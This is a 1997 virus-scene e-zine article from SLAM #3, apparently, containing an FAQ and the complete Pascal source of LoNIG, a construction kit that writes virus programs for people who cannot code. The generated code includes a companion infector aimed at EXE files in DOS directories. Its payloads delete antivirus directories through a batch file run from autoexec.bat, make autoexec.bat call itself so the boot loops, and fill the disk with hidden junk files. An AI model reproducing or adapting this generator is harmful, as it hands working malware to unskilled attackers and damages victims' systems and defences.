Copy Link
Add to Bookmark
Report
SLAM3.012: Source code of the INVASION GENERATOR - LoNIG by LoN [SLAM]
LoNIG - Lord of nAvAn's INVASION GENERATOR - FAQ & Source code
v. 1.0 / 1997
Coder : Lord of nAvAn [SLAM]
1. How do I start LoNIG?
Enter 'lonig' at the dos prompt. (without the quotations ) Then you'll be asked to enter a name for your virii. Enter a name without a number at the first place ( avoid ‰,ˆ,¸, -, ^,...). Anyway, the best are only normal letters. Then there won't be any problems. The extension '.pas' will automatically attached therefore DO NOT enter '.pas' !!!
2. How do I activate the payloads available in this program?
If you are able to see the difference between capital and non-capital letters you'll notice that some letters are non-capital. For example if you want to choose the option tEXT you must enter a 't'. (again without the quotations ;)).
3. How do I get the executable virii?
Such a question! You must compile & link it!! You don't know how? That's bad... ;) Well, let's dig in: Start Pascal, load the virii and compile it! Such a trivial question will not be discussed any longer. If you don't mange this it's rather embarrassing, I must say! ;-) (BTW: embarrassing for you not for me!! ;-))
4. Can the .pas phile be dangerous in any way, too ?
Wanna fool me? Nope!! It's just a text phile!
5. Will there be any updates?
Maybe, I don't know, yet! If I have some ideas which are suitable for LoNIG: yes!
6. Who is responsible for my virii?
DISCLAIMER: I AM NOT RESPONSIBLE IN ANY WAY!!! WITH THE USE OF LoNIG you accept that ONLY YOU are responsible for any damage on your or on other boards!!! Thus: Never yell at me if something has happened!
7. Sometimes there is a phile called cfg.pcv in the LoNIG directory. What should I do?
Well, it's a config phile to save your payloads for the virii you are creating at the moment. Actually, should you see this phile you must delete it to ensure that no errors will occur when you create your next virii.
So, that's all folks... Stay tuned! SLAM #4 will be available soon!
- Lord of nAvAn [SLAM]
- Pascal vx guy / sysadmin
Greetings fly to: all SLAMers, b0z0, cicatrix, Neophyte, VB and all others !
You are all so super!! I wish you all the BEST!!! Good luck 4ever and I hope to meet ya all on the 'net again!
Here is the source code:
~~~~~~~~~~~~~~~~~~~~~~~~
Program LoNIG; {Lord of nAvAn's INVASION GENERATOR}
{v.1.0 / 1997}
Uses dos, crt;
Var answer:char;
name,vname:string;
virii, cfg_prog :text; {cfg_prog: needed for the payloads}
text:string;
path:pathstr;
Procedure screen; {shows the prog title and the coder}
Begin
Clrscr;
writeln;
textbackground(cyan);
textcolor(lightcyan);
writeln('------------------ LoNIG - Lord of nAvAn''s INVASION GENERATOR ------------------');
textbackground(black);
textcolor(lightred);
writeln(' Coded by: Lord of nAvAn [SLAM]');
textcolor(green);
writeln(' (C) 1997 / v.1.0 ');
writeln;writeln;writeln;
textcolor(cyan);
textbackground(magenta);
end;
Procedure inet; {writes where you can get LoNIG}
Begin
Clrscr;
gotoxy(26,2);
textbackground(yellow);
textcolor(lightred);
writeln('Places where to get it');
textbackground(0);
writeln;
writeln;
writeln('http://www.ilf.net/NJoker/LoNIG.zip');
writeln;
writeln('Also in SLAM #3 :) ');
readln;
end;
procedure get_phile; {get a phile name for the virii}
Var path :string;
Begin
textcolor(lightcyan);
write('Enter the virii name: ');
textcolor(green);
readln(name);
vname:=name;
name:=name+'.pas'; {attach the extension PAS to the virii name}
path := FSearch(name,''); {is it already here?}
IF path = '' THEN
begin
assign(virii,name); {NO: create it}
rewrite(virii);
reset(virii);
append(virii);
end
ELSE
assign(virii,name); {YES: don't overwrite it--> append it}
reset(virii);
append(virii);
end;
Procedure write_to_phile; {used in many routines to avoid entering the virii name more often}
Var path :string;
begin
path := FSearch(name,'');
IF path = '' THEN
begin
assign(virii,name);
rewrite(virii);
reset(virii);
append(virii);
end
ELSE
assign(virii,name);
reset(virii);
append(virii);
end;
Procedure faq; {Frequently asked questionZ}
Begin
Clrscr;
textcolor(green+128);
textbackground(lightblue);
gotoxy(30,2);
writeln('FAQ to LoNIG:');
textcolor(lightmagenta);
textbackground(0);
writeln;
writeln('What is LoNIG?');
writeln;
textcolor(green);
writeln('LoNIG is a tool to create virii without knowing any programming language,');
writeln('that means especially 4 lamers. ;)');
writeln('You can choose between various payload functionZ, e.g. invasion, retro, text');
writeln('display, looping the boot process of the compy, fake the autoexec.bat.');
textcolor(lightmagenta);
writeln;
writeln('How many lines does the prog have?');
writeln;
textcolor(green);
writeln('Around 700 lines. Coded in PURE Pascal, of coz...');
writeln;
textcolor(lightmagenta);
writeln('There is sometimes a compilation error (''Ø;Æ missing''). What'' wrong?');
writeln;
textcolor(green);
writeln('You entered a text containing a ''. If you''d like the virii display a '' you must enter ''''.');
writeln('Furthermore you mustn''t enter a number without a letter before it!');
writeln('Also avoid ''Ñ,Å,î'' for the name!');
readln;
end;
Procedure greetingZ; {greetingZ fly to my friends... :-) }
Begin
Clrscr;
gotoxy(1,2);
textcolor(lightred);
textbackground(10);
writeln(' GreetingZ fly to (in alphabetic order) : ');
textbackground(0);
writeln;
textcolor(green+128);
writeln(' ALL WHO KNOW ME!!!');
textcolor(lightmagenta);
writeln(' cicatrix -==-GREAT VDAT-==- Continue it!!');
writeln(' Neophyte -==-Still waiting for your mail!-==- Email me, plz!!');
writeln(' NJ [SLAM] -==-Never let our contact break up -==- Always mail me!!');
writeln(' ALL SLAMers of coz -==- SLAM forever!!!!!!!!!!!!!!!!!!!!!!!!!!!-==- COOL');
writeln('Virby -==- Hello VB! -==- I wish you good luck forever!! Please email me again!');
readln;
end;
Procedure fake_autoexec; {endless booting process}
Var path:pathstr;
Begin
path := FSearch('cfg.pcv',GetEnv(Path));
IF path = '' THEN
begin
assign(cfg_prog,'cfg.pcv');
rewrite(cfg_prog);
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'fake_autoexec;');
close(cfg_prog);
end
ELSE
begin
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'fake_autoexec;');
close(cfg_prog);
end;
writeln;
writeln;
screen;
writeln('FAKE AUTOEXEC');
textbackground(0);
writeln;
textcolor(cyan);
writeln('Endless looping process by booting the compy.');
write_to_phile;
textcolor(red);
writeln('>>> writing code to ',name);
writeln(virii,'Procedure fake_autoexec;');
writeln(virii,'Var ph:text;phile:string;');
writeln(virii,'Begin');
writeln(virii,'phile:=''c:\autoexec.bat'';');
writeln(virii,'assign(ph,phile);');
writeln(virii,'append(ph);');
writeln(virii,'writeln(ph,''c:\autoexec'');');
writeln(virii,'close(ph);');
writeln(virii,'end;');
writeln(virii,'{loops the boot process}');
close(virii);
writeln('OK!');
delay(400);
textbackground(black);
end;
Procedure invasion; {generates lots of hidden garbage philes}
Var inv_nr : longint;
Begin
path := FSearch('cfg.pcv',GetEnv(Path));
IF path = '' THEN
begin
assign(cfg_prog,'cfg.pcv');
rewrite(cfg_prog);
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'invasion;');
close(cfg_prog);
end
ELSE
begin
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'invasion;');
close(cfg_prog);
end;
writeln;
writeln;
screen;
writeln('INVASION');
write_to_phile;
writeln;
textbackground(0);
write('Enter the number of the philes the virii should create :');
readln(inv_nr);
textcolor(red);
writeln('>>> writing code to ',name);
writeln(virii,'Procedure invasion;');
writeln(virii,'Var n:integer; name:string; f:text;');
writeln(virii,'Begin');
writeln(virii,'For n:= 1 to ',inv_nr,' do begin');
writeln(virii,'randomize;');
writeln(virii,'name:=chr(random(10)+65)+chr(random(10)+65)+chr(random(10)+65)+chr(random(10)+65)+chr(random(10)+65);');
writeln(virii,'name:=name+chr(random(10)+65);');
writeln(virii,'assign(f,name);');
writeln(virii,'rewrite(f);');
writeln(virii,'reset(f);');
writeln(virii,'append(f);');
writeln(virii,'writeln(f,''INVASION CAUSED BY Artificial Life'');');
writeln(virii,'close(f);');
writeln(virii,'setfattr(f,hidden);');
writeln(virii,'end;');
writeln(virii,'end;');
writeln(virii,'{generates ',inv_nr,' hidden garbage philes}');
close(virii);
writeln('OK!');
delay(400);
textbackground(black);
end;
Procedure retro; {kills known and future AV progs}
Var av:string;
Begin
path := FSearch('cfg.pcv',GetEnv(Path));
IF path = '' THEN
begin
assign(cfg_prog,'cfg.pcv');
rewrite(cfg_prog);
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'retro;');
close(cfg_prog);
end
ELSE
begin
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'retro;');
close(cfg_prog);
end;
writeln;
writeln;
screen;
writeln('RETRO');
writeln;
write_to_phile;
textbackground(0);
write('Enter the name of the AV-prog you want to kill: ');
textbackground(0);
textcolor(lightgreen);
textbackground(black);
readln(av);
textcolor(red);
writeln('>>> writing code to ',name);
writeln(virii,'Procedure retro;');
writeln(virii,'Var hb, autoexec:text;');
writeln(virii,'Begin');
writeln(virii,'assign(hb,''c:\ˇ.bat''); {now let''s make the ASCII255.BAT}');
writeln(virii,'rewrite(hb);');
writeln(virii,'append(hb);');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y ',av,'*.*'');');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y antiv*.*'');');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y av*.*'');');
writeln(virii,'writeln(hb,''@echo off''); ');
writeln(virii,'writeln(hb,''deltree /y fp*.*'');');
writeln(virii,'writeln(hb,''@echo off''); ');
writeln(virii,'writeln(hb,''deltree /y fprot*.*'');');
writeln(virii,'writeln(hb,''@echo off''); ');
writeln(virii,'writeln(hb,''deltree /y f-prot*.* '');');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y scan*.*'');');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y suspi*.*'');');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y drsol*.*'');');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y tbav*.*''); ');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y mcaf*.*''); ');
writeln(virii,'writeln(hb,''@echo off''); ');
writeln(virii,'{A messy for the next boot process...}');
writeln(virii,'writeln(hb,''echo No Av-PrOg WiLl ExIsT iN fUtUrE!!!'');');
writeln(virii,'writeln(hb,''echo Brought to you by the giant [SLAM] vx group'');');
writeln(virii,'writeln(hb,''pause'');');
writeln(virii,'close(hb); ');
writeln(virii,'assign(autoexec,''c:\autoexec.bat''); {prepare autoexec.bat...}');
writeln(virii,'reset(autoexec);');
writeln(virii,'append(autoexec);');
writeln(virii,'writeln(autoexec,''ˇ'');');
writeln(virii,'close(autoexec);');
writeln(virii,'end;');
close(virii);
writeln('OK!');
delay(400);
end;
Procedure all_virii; {infection routine}
Begin
write_to_phile; {write to the user''s phile}
writeln(virii,'{-------------------- This virus was created by LoNIG ------------------------ }');
writeln(virii,'{Lord of nAvAn''s INVASION GENERATOR was written 4 educational purposes only ! }');
writeln(virii,'{Having this auto-generated virus on your computer you accept that YOU (--> }');
writeln(virii,'{and ONLY you) are responsible for your actions with that virus!!!If you do }');
writeln(virii,'{NOT accept this you must delete it. But anyway, don''t yell at *me* if your }');
writeln(virii,'{philes are damaged. Actually, I''m NOT responsible for ANY troubles caused }');
writeln(virii,'{by LoNIG!}');
writeln(virii,'{----------------------------------------------------------------------------- }');
writeln(virii,'Program ',vname,';');
writeln(virii,'Uses Dos,Crt;');
writeln(virii,'');
writeln(virii,'{$M 59999,0,8000}');
writeln(virii,'Var Inf,Inf2:Searchrec; {Used in the EXE and phile_exist routines }');
writeln(virii,' Infected:Boolean; {Is a phile infected? }');
writeln(virii,' Params:Byte; {Loop Index for adding all parameters together }');
writeln(virii,' All_Parameters:String; {This string contains the whole list of parameters');
writeln(virii,' originally passed to the program }');
writeln(virii,' P:PathStr; {Used}');
writeln(virii,' D:DirStr; {in} ');
writeln(virii,' N:NameStr; {the}');
writeln(virii,' E:ExtStr; {FSplit procedure.}');
writeln(virii,'Procedure Check_Infected(Path:String);');
writeln(virii,'Begin');
writeln(virii,' FSplit(Inf.Name,D,N,E);');
writeln(virii,' FindFirst(Path+N+''.COM'',Anyfile,Inf2);');
writeln(virii,' Infected:=(DosError=0);');
writeln(virii,'End;');
writeln(virii,'Procedure CopyFile(SourceFile, TargetFile:string);');
writeln(virii,'var');
writeln(virii,' Source,');
writeln(virii,' Target : file;');
writeln(virii,' BRead,');
writeln(virii,' Bwrite : word;');
writeln(virii,' FileBuf : array[1..2048] of char;');
writeln(virii,'Begin ');
writeln(virii,' Assign(Source,SourceFile); ');
writeln(virii,' SetFattr(Source,$20); {Set the phile attributes of the}');
writeln(virii,' {hidden COM companion we''re going}');
writeln(virii,' {to be copying to archive so that}');
writeln(virii,' {it''s possible read it. }');
writeln(virii,' {$I-}');
writeln(virii,' Reset(Source,1);');
writeln(virii,' {$I+}');
writeln(virii,' If IOResult <> 0 then');
writeln(virii,' Begin ');
writeln(virii,' Exit; {Couldn''t open the source phile! }');
writeln(virii,' End; ');
writeln(virii,' Assign(Target,TargetFile); ');
writeln(virii,' {$I-} ');
writeln(virii,' Rewrite(Target,1); ');
writeln(virii,' {$I+}');
writeln(virii,' If IOResult <> 0 then');
writeln(virii,' Begin ');
writeln(virii,' Exit; {Couldn''t open the target phile! }');
writeln(virii,' End; ');
writeln(virii,' Repeat ');
writeln(virii,' BlockRead(Source,FileBuf,SizeOf(FileBuf),BRead); ');
writeln(virii,' ');
writeln(virii,' BlockWrite(Target,FileBuf,Bread,Bwrite);');
writeln(virii,' Until (Bread = 0) or (Bread <> BWrite); ');
writeln(virii,' Close(Source); ');
writeln(virii,' Close(Target); ');
writeln(virii,' SetFattr(Source,3); {Set companion attribute to hidden}');
writeln(virii,' SetFattr(Target,3); ');
writeln(virii,'End;{CopyFile} ');
writeln(virii,'Procedure Find_Infect(Path:String); ');
writeln(virii,'{Find and Infect!} ');
writeln(virii,'Begin ');
writeln(virii,' FindFirst(Path+''*.EXE'',AnyFile,Inf); {Check for .EXEs to infect! }');
writeln(virii,' While DosError=0 Do Begin ');
writeln(virii,' Infected:=False; ');
writeln(virii,' Check_Infected(Path); { Check if the .EXE found is already infected. }');
writeln(virii,' If Not Infected then Begin');
writeln(virii,' CopyFile(ParamStr(0),Path+N+''.COM'');');
writeln(virii,' End; ');
writeln(virii,' FindNext(Inf);');
writeln(virii,' End;');
writeln(virii,'End;{Find_Infect}');
close(virii);
end;
Procedure text_display; {displays the text the user entered}
Var path:pathstr;
Begin
path := FSearch('cfg.pcv',GetEnv(Path)); {write into the config that we}
IF path = '' THEN {have a text in the virii}
begin
assign(cfg_prog,'cfg.pcv');
rewrite(cfg_prog);
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'display;');
close(cfg_prog);
end
ELSE
begin
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'display;');
close(cfg_prog);
end;
writeln;
writeln;
screen;
writeln('TEXT');
write_to_phile;
textbackground(0);
writeln;
writeln('Enter the text the virus should display (< 70 chars) :');
textcolor(lightgreen);
textbackground(black);
readln(text);
textcolor(lightcyan);
write('Your text: ');
textcolor(green);
writeln(text);
textcolor(red);
writeln('>>> writing code to ',name); {and write it to the virii}
writeln(virii,'');
writeln(virii,'Procedure display;');
writeln(virii,'Var text:string;');
writeln(virii,'Begin');
writeln(virii,'Clrscr;');
writeln(virii,'randomize;');
writeln(virii,'textcolor(random(10)+2);');
writeln(virii,'text:=''',text,''';');
writeln(virii,'writeln(text);');
writeln(virii,'readln;');
writeln(virii,'end;');
writeln(virii,'{displays the text Ø',text,'Æ}');
writeln(virii,'');
close(virii);
writeln('OK!');
delay(400);
end;
Procedure beep; {let the compy beep - good for CMOS failure sims}
Var num, freq, dels, delp: integer;
Begin
path := FSearch('cfg.pcv',GetEnv(Path));
IF path = '' THEN
begin
assign(cfg_prog,'cfg.pcv'); {write to the cfg that we have a beep}
rewrite(cfg_prog); {routine in the virii}
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'beep;');
close(cfg_prog);
end
ELSE
begin
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'beep;');
close(cfg_prog);
end;
writeln;
writeln;
screen;
write_to_phile;
writeln('Beeper');
textbackground(0);
writeln;
write('Enter how often the compy should beep : ');
textbackground(0);
readln(num);
write('Enter the frequency : ');
readln(freq);
write('Enter the delay value : ');
readln(dels);
write('Enter the delay value of the pause between the beeps: ');
readln(delp);
textcolor(red);
writeln('>>> writing code to ',name);
writeln(virii,'');
writeln(virii,'Procedure beep;');
writeln(virii,'Var beep:integer;');
writeln(virii,'Begin');
writeln(virii,'For beep:=1 to ',num,' do begin');
writeln(virii,'sound(',freq,');');
writeln(virii,'delay(',dels,');');
writeln(virii,'nosound;');
writeln(virii,'delay(',delp,');');
writeln(virii,'end;');
writeln(virii,'nosound;');
writeln(virii,'end;');
writeln(virii,'{lets the compy beep ',num,'times }');
writeln(virii,'');
close(virii);
writeln('OK!');
delay(400);
end;
Procedure finish; {all virii need this code to replicate}
Var path : pathstr;
str : string;
begin
write_to_phile;
writeln(virii,'{--------------------------------------------}');
writeln(virii,'Begin');
close(virii);
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
assign(virii,name);
reset(virii);
While NOT eof(cfg_prog) DO {we write all the routine calls to the virii}
begin {the calls are saved in the temporary phile cfg.pcv}
readln(cfg_prog,str);
append(virii);
writeln(virii,str);
end;
writeln(virii,' Find_Infect(''C:\DOS\''); ');
writeln(virii,' Find_Infect(''C:\MSDOS\''); ');
writeln(virii,' Find_Infect(''''); ');
writeln(virii,' FSplit(ParamStr(0),D,N,E); ');
writeln(virii,' All_Parameters:=''''; {Vars must be initialized} ');
writeln(virii,' For Params:=1 To ParamCount ');
writeln(virii,' do All_Parameters:=All_Parameters+ParamStr(Params)+'' ''; ');
writeln(virii,' Exec(D+N+''.EXE'',All_Parameters); {Execute the phile that the user}');
close(virii);
close(cfg_prog);
assign(virii,name);
reset(virii);
append(virii);
writeln(virii,'End.');
close(virii);
erase(cfg_prog);
writeln('Finished! A new virii is sitting in your compy! Be nice to it!');
textcolor(lightblue);
write('Its name is: ');
textcolor(lightmagenta);
writeln(name);
readln;
end;
Procedure replicate; {only replicate ==> no payload}
Var path:pathstr;
Begin
{...}
path := FSearch('cfg.pcv',GetEnv(Path));
IF path = '' THEN
begin
assign(cfg_prog,'cfg.pcv');
rewrite(cfg_prog);
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'');
close(cfg_prog);
end
ELSE
begin
textcolor(red);
writeln('>>> writing code to ',name);
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'');
close(cfg_prog);
writeln('OK!');
delay(400);
end;
end;
Procedure main;
begin
While answer<>'x' do
begin
Clrscr;
writeln;
textbackground(cyan);
textcolor(lightcyan);
writeln('------------------ LoNIG - Lord of nAvAn''s INVASION GENERATOR ------------------');
textbackground(black);
textcolor(lightred);
writeln(' Coded by: Lord of nAvAn [SLAM]');
textcolor(green);
writeln(' (C) 1997 / v.1.0 ');
writeln;writeln;writeln;
textcolor(lightcyan);
textbackground(magenta);
writeln('You are about to create a Companion Pascal Virii!');
writeln;
textbackground(black);
textcolor(lightmagenta);
writeln('Choose of the following payload functions: ');
writeln('--------------------------------------------------------------------------------');
textcolor(green);
writeln(' - tEXT --- rETRO --- fAKE AUTOEXEC --- bEEP --- oNLY REPLICATE --- iNVASION - ');
writeln('--------------------------------------------------------------------------------');
textcolor(3);
writeln(' gREETINGZ -- FAq -- PLAcES WHERE TO GET IT -- ExIT ');
textcolor(lightmagenta);
writeln('--------------------------------------------------------------------------------');
gotoxy(24,20);
textcolor(lightcyan);
textbackground(red);
writeln('F I N I s H T H E V I R I I');
textbackground(0);
readln(answer);
Case answer of
't':text_display;
'f':fake_autoexec;
'g':greetingZ;
'q':faq;
'r':retro;
's':finish;
'c':inet;
'b':beep;
'i':invasion;
'o':replicate;
end;
end;
end;
Procedure start_up;
Var answer:char;
begin
Clrscr;
writeln;
textbackground(cyan);
textcolor(lightcyan);
writeln('------------------ LoNIG - Lord of nAvAn''s INVASION GENERATOR ------------------');
textbackground(black);
textcolor(lightred);
writeln(' Coded by: Lord of nAvAn [SLAM]');
textcolor(green);
writeln(' (C) 1997 / v.1.0 ');
writeln;writeln;writeln;
textcolor(lightred);
writeln('Disclaimer:');
writeln;
textcolor(lightred+128);
writeln('You use this program at your own risk! I will N O T be liable');
writeln('in any way. I''m NOT responsible for any damage caused by LoNIG !');
writeln;writeln;
textcolor(yellow);
write('Do you accept this (y/n)? ');
textcolor(lightcyan);
readln(answer);
IF (answer='y') OR (answer='Y')
THEN
begin
main;
end
ELSE
exit;
end;
begin (* main prog LoNIG v.1.0 / 1997 *)
Clrscr;
get_phile;
all_virii;
start_up;
end. (* end of LoNIG v. 1.0 / 1997 *)
